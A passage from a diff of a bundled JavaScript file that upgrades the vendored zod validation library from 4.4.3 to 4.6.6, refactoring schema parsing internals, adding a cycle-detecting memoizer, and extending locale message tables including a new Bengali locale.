(result2.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; - } - return payload; - }); - } - payload.value = result.value; - if (result.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; + return result.then((result2) => handleCatchResult(payload, result2, def, ctx)); } - return payload; + return handleCatchResult(payload, result, def, ctx); }; }); var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { @@ -58828,10 +59468,10 @@ var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { }); var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { const right = def.out._zod.run(payload, ctx); @@ -58848,18 +59488,18 @@ var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { }; }); function handlePipeResult(left, next, ctx) { - if (left.issues.length) { + if (left.issues.some((iss) => iss.code !== "unrecognized_keys")) { left.aborted = true; return left; } - return next._zod.run({ value: left.value, issues: left.issues, fallback: left.fallback }, ctx); + return next._zod.run({ value: left.value, issues: left.issues }, ctx); } var $ZodCodec = /* @__PURE__ */ $constructor("$ZodCodec", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { const direction = ctx.direction || "forward"; if (direction === "forward") { @@ -58909,10 +59549,10 @@ var $ZodPreprocess = /* @__PURE__ */ $constructor("$ZodPreprocess", (inst, def) }); var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "propValues", () => def.innerType._zod.propValues); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "optin", () => def.innerType?._zod?.optin); - defineLazy(inst._zod, "optout", () => def.innerType?._zod?.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.innerType._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType?._zod?.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType?._zod?.optout); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58925,23 +59565,66 @@ var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { }; }); function handleReadonlyResult(payload) { - payload.value = Object.freeze(payload.value); + if (!payload.memo) + payload.value = Object.freeze(payload.value); return payload; } +function leafPattern(schema) { + const def = schema._zod.def; + let pattern = def.pattern; + let isInt = !!def.format?.includes("int"); + let minimum; + let maximum; + for (const ch of def.checks ?? []) { + const d = ch._zod.def; + if (d.pattern) + pattern = d.pattern; + isInt || (isInt = !!d.format?.includes("int")); + const lo = d.minimum ?? d.length; + const hi = d.maximum ?? d.length; + if (lo !== void 0 && (minimum === void 0 || lo > minimum)) + minimum = lo; + if (hi !== void 0 && (maximum === void 0 || hi < maximum)) + maximum = hi; + } + if (pattern) + return pattern.source; + if (minimum !== void 0 && maximum !== void 0 && minimum > maximum) + return "(?!)"; + if (minimum !== void 0 || maximum !== void 0) + return string({ minimum, maximum }).source; + const own2 = schema._zod.pattern; + return (isInt && own2 === number ? integer : own2)?.source; +} +function partPattern(schema) { + const def = schema._zod.def; + const own2 = schema._zod.pattern?.source; + const inner = def.innerType ?? schema._zod.innerType; + if (inner) { + const before = inner._zod.pattern?.source; + const after = partPattern(inner); + if (own2 && before && after && after !== before) { + return own2.replace(cleanRegex(before), () => cleanRegex(after)); + } + return own2; + } + if (def.options) { + const sources = def.options.map(partPattern); + if (sources.every(Boolean)) + return `^(${sources.map((s) => cleanRegex(s)).join("|")})$`; + } + return leafPattern(schema); +} var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (inst, def) => { $ZodType.init(inst, def); const regexParts = []; for (const part of def.parts) { if (typeof part === "object" && part !== null) { - if (!part._zod.pattern) { + const source = partPattern(part); + if (!source) { throw new Error(`Invalid template literal part, no pattern found: ${[...part._zod.traits].shift()}`); } - const source = part._zod.pattern instanceof RegExp ? part._zod.pattern.source : part._zod.pattern; - if (!source) - throw new Error(`Invalid template literal part: ${part._zod.traits}`); - const start = source.startsWith("^") ? 1 : 0; - const end = source.endsWith("$") ? source.length - 1 : source.length; - regexParts.push(source.slice(start, end)); + regexParts.push(cleanRegex(source)); } else if (part === null || primitiveTypes.has(typeof part)) { regexParts.push(escapeRegex(`${part}`)); } else { @@ -58975,33 +59658,33 @@ var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (i }); var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { $ZodType.init(inst, def); - inst._def = def; + Object.defineProperty(inst, "_def", { value: def }); inst._zod.def = def; inst.implement = (func) => { if (typeof func !== "function") { throw new Error("implement() must be called with a function"); } - return function(...args) { + return Object.defineProperty(function(...args) { const parsedArgs = inst._def.input ? parse(inst._def.input, args) : args; const result = Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return parse(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst.implementAsync = (func) => { if (typeof func !== "function") { throw new Error("implementAsync() must be called with a function"); } - return async function(...args) { + return Object.defineProperty(async function(...args) { const parsedArgs = inst._def.input ? await parseAsync(inst._def.input, args) : args; const result = await Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return await parseAsync(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst._zod.parse = (payload, _ctx) => { if (typeof payload.value !== "function") { @@ -59040,12 +59723,12 @@ var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { output: inst._def.output }); }; - inst.output = (output) => { + inst.output = (output2) => { const F = inst.constructor; return new F({ type: "function", input: inst._def.input, - output + output: output2 }); }; return inst; @@ -59064,10 +59747,10 @@ var $ZodLazy = /* @__PURE__ */ $constructor("$ZodLazy", (inst, def) => { d._cachedInner = def.getter(); return d._cachedInner; }); - defineLazy(inst._zod, "pattern", () => inst._zod.innerType?._zod?.pattern); - defineLazy(inst._zod, "propValues", () => inst._zod.innerType?._zod?.propValues); - defineLazy(inst._zod, "optin", () => inst._zod.innerType?._zod?.optin ?? void 0); - defineLazy(inst._zod, "optout", () => inst._zod.innerType?._zod?.optout ?? void 0); + defineLazyInternal(inst, "pattern", (zod) => zod.innerType?._zod?.pattern); + defineLazyInternal(inst, "propValues", (zod) => zod.innerType?._zod?.propValues); + defineLazyInternal(inst, "optin", (zod) => zod.innerType?._zod?.optin ?? void 0); + defineLazyInternal(inst, "optout", (zod) => zod.innerType?._zod?.optout ?? void 0); inst._zod.parse = (payload, ctx) => { const inner = inst._zod.innerType; return inner._zod.run(payload, ctx); @@ -59080,20 +59763,20 @@ var $ZodCustom = /* @__PURE__ */ $constructor("$ZodCustom", (inst, def) => { return payload; }; inst._zod.check = (payload) => { - const input = payload.value; - const r = def.fn(input); + const input2 = payload.value; + const r = def.fn(input2); if (r instanceof Promise) { - return r.then((r2) => handleRefineResult(r2, payload, input, inst)); + return r.then((r2) => handleRefineResult(r2, payload, input2, inst)); } - handleRefineResult(r, payload, input, inst); + handleRefineResult(r, payload, input2, inst); return; }; }); -function handleRefineResult(result, payload, input, inst) { +function handleRefineResult(result, payload, input2, inst) { if (!result) { const _iss = { code: "custom", - input, + input: input2, inst, // incorporates params.error into issue reporting path: [...inst._zod.def.path ?? []], @@ -59107,14 +59790,293 @@ function handleRefineResult(result, payload, input, inst) { } } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/memoizer.js +var $ZodCyclicError = class extends Error { + constructor() { + super(`Cannot parse a reference cycle that closes through a transform`); + this.name = "ZodCyclicError"; + } +}; +var STATE = "~memo"; +var NO_ISSUES = []; +function isRef(value) { + return value !== null && typeof value === "object"; +} +function cloneIssues(issues) { + return issues.map((iss) => iss.path ? { ...iss, path: iss.path.slice() } : { ...iss }); +} +var recursive = /* @__PURE__ */ new WeakMap(); +var NONE = 0; +var ASSUMED = 1; +var PROVEN = 2; +function isRecursive(inst, stack, resolve) { + const cached2 = recursive.get(inst); + if (cached2 !== void 0) + return cached2 ? PROVEN : NONE; + if (stack.has(inst)) + return PROVEN; + stack.add(inst); + let result = NONE; + const check3 = (child) => { + if (result !== PROVEN && child?._zod) { + const answer = isRecursive(child, stack, resolve); + if (answer > result) + result = answer; + } + }; + const shape = (sh, spread) => { + let answer = NONE; + for (const key of Reflect.ownKeys(sh)) { + const desc2 = Object.getOwnPropertyDescriptor(sh, key); + if (spread && !desc2.enumerable) + continue; + const child = desc2.get ? ASSUMED : desc2.value?._zod ? isRecursive(desc2.value, stack, resolve) : NONE; + if (child > answer) + answer = child; + } + return answer; + }; + const merge2 = (answer) => { + if (answer > result) + result = answer; + }; + const def = inst._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const raw = rawShape(def); + merge2(raw ? shape(raw, true) : ASSUMED); + check3(def.catchall); + break; + } + case "array": + check3(def.element); + break; + case "tuple": + for (const el of def.items) + check3(el); + check3(def.rest); + break; + case "record": + case "map": + check3(def.keyType); + check3(def.valueType); + break; + case "set": + check3(def.valueType); + break; + case "union": + for (const el of def.options) + check3(el); + break; + case "intersection": + check3(def.left); + check3(def.right); + break; + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": + check3(def.innerType); + break; + case "pipe": + check3(def.in); + check3(def.out); + break; + case "function": + check3(def.input); + check3(def.output); + break; + // `$ZodLazy` caches its inner on the def, so a resolved edge is followed exactly + case "lazy": { + const inner = def._cachedInner ?? (resolve ? inst._zod.innerType : void 0); + merge2(inner ? isRecursive(inner, stack, false) : ASSUMED); + break; + } + // a leaf by choice: `parts` are regex fragments, not data positions + case "template_literal": + // leaves + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + break; + default: { + kind; + for (const key in def) { + const desc2 = Object.getOwnPropertyDescriptor(def, key); + if (!desc2 || desc2.get) + continue; + const value = desc2.value; + if (!value || typeof value !== "object") + continue; + if (value._zod) + check3(value); + else if (Array.isArray(value)) + for (const el of value) + check3(el); + } + } + } + stack.delete(inst); + return settle(inst, result); +} +function settle(inst, answer) { + if (answer !== ASSUMED) + recursive.set(inst, answer === PROVEN); + return answer; +} +function isRecursiveSchema(inst) { + return isRecursive(inst, /* @__PURE__ */ new Set(), true) !== NONE; +} +function bucketFor(state, inst) { + let bucket = state.buckets.get(inst); + if (!bucket) { + bucket = /* @__PURE__ */ new WeakMap(); + state.buckets.set(inst, bucket); + } + return bucket; +} +var handoff; +var open = []; +var memo = { + alloc(_inst, payload, empty) { + const bucket = handoff; + if (!bucket) + return empty; + handoff = void 0; + const entry = { value: empty, issues: null }; + bucket.set(payload.value, entry); + open.push(entry); + return empty; + }, + guard(inst) { + var _a3; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (ctx.direction !== "backward" && isBackEdge(ctx, payload.value)) + throw new $ZodCyclicError(); + return base(payload, ctx); + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + }, + attach(inst) { + var _a3; + let isRecursiveInst; + let rechecked = false; + let lastCtx; + let lastBucket; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (isRecursiveInst === void 0) { + const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false); + if (walked === NONE) { + inst._zod.parse = base; + if (inst._zod.run === wrapped) + inst._zod.run = base; + return base(payload, ctx); + } + if (walked === PROVEN || rechecked) + isRecursiveInst = true; + else + rechecked = true; + } + const input2 = payload.value; + if (!isRef(input2)) + return base(payload, ctx); + let state = ctx[STATE]; + if (!state) { + state = { buckets: /* @__PURE__ */ new WeakMap(), backEdges: void 0 }; + ctx[STATE] = state; + } + let bucket; + if (lastCtx === ctx) { + bucket = lastBucket; + } else { + bucket = bucketFor(state, inst); + lastCtx = ctx; + lastBucket = bucket; + } + const hit = bucket.get(input2); + if (hit) { + payload.value = hit.value; + if (hit.issues) { + if (hit.issues.length) + payload.issues.push(...cloneIssues(hit.issues)); + } else { + payload.memo = true; + state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet()); + state.backEdges.add(hit.value); + } + return payload; + } + handoff = bucket; + const depth = open.length; + const result = base(payload, ctx); + handoff = void 0; + const entry = open.length > depth ? open.pop() : void 0; + if (result instanceof Promise) { + return result.then((r) => { + if (entry) + entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES; + return r; + }); + } + if (entry) + entry.issues = result.issues.length ? cloneIssues(result.issues) : NO_ISSUES; + return result; + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + } +}; +function memoizer() { + return memo; +} +function isBackEdge(ctx, value) { + const backEdges = ctx[STATE]?.backEdges; + return backEdges !== void 0 && isRef(value) && backEdges.has(value); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/index.js var locales_exports = {}; __export(locales_exports, { ar: () => ar_default, az: () => az_default, be: () => be_default, bg: () => bg_default, + bn: () => bn_default, ca: () => ca_default, + ckb: () => ckb_default, cs: () => cs_default, da: () => da_default, de: () => de_default, @@ -59126,7 +60088,9 @@ __export(locales_exports, { fi: () => fi_default, fr: () => fr_default, frCA: () => fr_CA_default, + gu: () => gu_default, he: () => he_default, + hi: () => hi_default, hr: () => hr_default, hu: () => hu_default, hy: () => hy_default, @@ -59137,22 +60101,29 @@ __export(locales_exports, { ka: () => ka_default, kh: () => kh_default, km: () => km_default, + kn: () => kn_default, ko: () => ko_default, lt: () => lt_default, mk: () => mk_default, ms: () => ms_default, + ne: () => ne_default, nl: () => nl_default, + nn: () => nn_default, no: () => no_default, ota: () => ota_default, pl: () => pl_default, ps: () => ps_default, pt: () => pt_default, + ptBR: () => pt_BR_default, ro: () => ro_default, ru: () => ru_default, + sk: () => sk_default, sl: () => sl_default, sv: () => sv_default, ta: () => ta_default, + tg: () => tg_default, th: () => th_default, + tk: () => tk_default, tr: () => tr_default, ua: () => ua_default, uk: () => uk_default, @@ -59164,13 +60135,14 @@ __export(locales_exports, { zhTW: () => zh_TW_default }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ar.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ar.js var error = () => { const Sizable = { string: { unit: "\u062D\u0631\u0641", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, file: { unit: "\u0628\u0627\u064A\u062A", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, array: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, - set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } + set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + map: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59196,12 +60168,16 @@ var error = () => { duration: "\u0645\u062F\u0629 \u0628\u0645\u0639\u064A\u0627\u0631 ISO", ipv4: "\u0639\u0646\u0648\u0627\u0646 IPv4", ipv6: "\u0639\u0646\u0648\u0627\u0646 IPv6", + mac: "\u0639\u0646\u0648\u0627\u0646 MAC", cidrv4: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv4", cidrv6: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv6", base64: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64-encoded", base64url: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64url-encoded", json_string: "\u0646\u064E\u0635 \u0639\u0644\u0649 \u0647\u064A\u0626\u0629 JSON", e164: "\u0631\u0642\u0645 \u0647\u0627\u062A\u0641 \u0628\u0645\u0639\u064A\u0627\u0631 E.164", + credit_card: "\u0631\u0642\u0645 \u0628\u0637\u0627\u0642\u0629 \u0627\u0644\u0627\u0626\u062A\u0645\u0627\u0646", + currency_code: "\u0631\u0645\u0632 \u0627\u0644\u0639\u0645\u0644\u0629", + iban: "IBAN", jwt: "JWT", template_literal: "\u0645\u062F\u062E\u0644" }; @@ -59271,13 +60247,14 @@ function ar_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/az.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/az.js var error2 = () => { const Sizable = { string: { unit: "simvol", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "element", verb: "olmal\u0131d\u0131r" }, - set: { unit: "element", verb: "olmal\u0131d\u0131r" } + set: { unit: "element", verb: "olmal\u0131d\u0131r" }, + map: { unit: "element", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59303,12 +60280,16 @@ var error2 = () => { duration: "ISO duration", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded string", base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + credit_card: "kredit kart\u0131 n\xF6mr\u0259si", + currency_code: "valyuta kodu", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59377,7 +60358,7 @@ function az_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/be.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/be.js function getBelarusianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -59419,6 +60400,14 @@ var error3 = () => { }, verb: "\u043C\u0435\u0446\u044C" }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, file: { unit: { one: "\u0431\u0430\u0439\u0442", @@ -59452,12 +60441,16 @@ var error3 = () => { duration: "ISO \u043F\u0440\u0430\u0446\u044F\u0433\u043B\u0430\u0441\u0446\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0430\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0430\u0441", + mac: "MAC \u0430\u0434\u0440\u0430\u0441", cidrv4: "IPv4 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", base64: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64", base64url: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64url", json_string: "JSON \u0440\u0430\u0434\u043E\u043A", e164: "\u043D\u0443\u043C\u0430\u0440 E.164", + credit_card: "\u043D\u0443\u043C\u0430\u0440 \u043A\u0440\u044D\u0434\u044B\u0442\u043D\u0430\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0443\u0432\u043E\u0434" }; @@ -59534,13 +60527,14 @@ function be_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/bg.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bg.js var error4 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, file: { unit: "\u0431\u0430\u0439\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59566,12 +60560,16 @@ var error4 = () => { duration: "ISO \u043F\u0440\u043E\u0434\u044A\u043B\u0436\u0438\u0442\u0435\u043B\u043D\u043E\u0441\u0442", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "base64-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", base64url: "base64url-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", json_string: "JSON \u043D\u0438\u0437", e164: "E.164 \u043D\u043E\u043C\u0435\u0440", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u043E\u0434" }; @@ -59655,13 +60653,128 @@ function bg_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ca.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bn.js var error5 = () => { + const Sizable = { + string: { unit: "\u0985\u0995\u09CD\u09B7\u09B0", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + file: { unit: "\u09AC\u09BE\u0987\u099F", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + array: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + set: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + map: { unit: "\u098F\u09A8\u09CD\u099F\u09CD\u09B0\u09BF", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0987\u09A8\u09AA\u09C1\u099F", + email: "\u0987\u09AE\u09C7\u0987\u09B2 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + url: "URL", + emoji: "\u0987\u09AE\u09CB\u099C\u09BF", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u09A4\u09BE\u09B0\u09BF\u0996 \u0993 \u09B8\u09AE\u09AF\u09BC", + date: "ISO \u09A4\u09BE\u09B0\u09BF\u0996", + time: "ISO \u09B8\u09AE\u09AF\u09BC", + duration: "ISO \u09B8\u09AE\u09AF\u09BC\u0995\u09BE\u09B2", + ipv4: "IPv4 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + ipv6: "IPv6 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + mac: "MAC \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + cidrv4: "IPv4 \u09B0\u09C7\u099E\u09CD\u099C", + cidrv6: "IPv6 \u09B0\u09C7\u099E\u09CD\u099C", + base64: "base64-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + base64url: "base64url-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + json_string: "JSON \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + e164: "E.164 \u09A8\u09AE\u09CD\u09AC\u09B0", + credit_card: "\u0995\u09CD\u09B0\u09C7\u09A1\u09BF\u099F \u0995\u09BE\u09B0\u09CD\u09A1 \u09A8\u09AE\u09CD\u09AC\u09B0", + currency_code: "\u09AE\u09C1\u09A6\u09CD\u09B0\u09BE \u0995\u09CB\u09A1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0987\u09A8\u09AA\u09C1\u099F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${expected}, \u09AA\u09CD\u09B0\u09BE\u09AA\u09CD\u09A4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0985\u09AC\u09C8\u09A7 \u0985\u09AA\u09B6\u09A8: ${joinValues(issue2.values, " | ")} \u098F\u09B0 \u09AE\u09A7\u09CD\u09AF\u09C7 \u098F\u0995\u099F\u09BF \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u098F\u09B2\u09BF\u09AE\u09C7\u09A8\u09CD\u099F"} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.prefix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C1\u09B0\u09C1 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + if (_issue.format === "ends_with") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.suffix}" 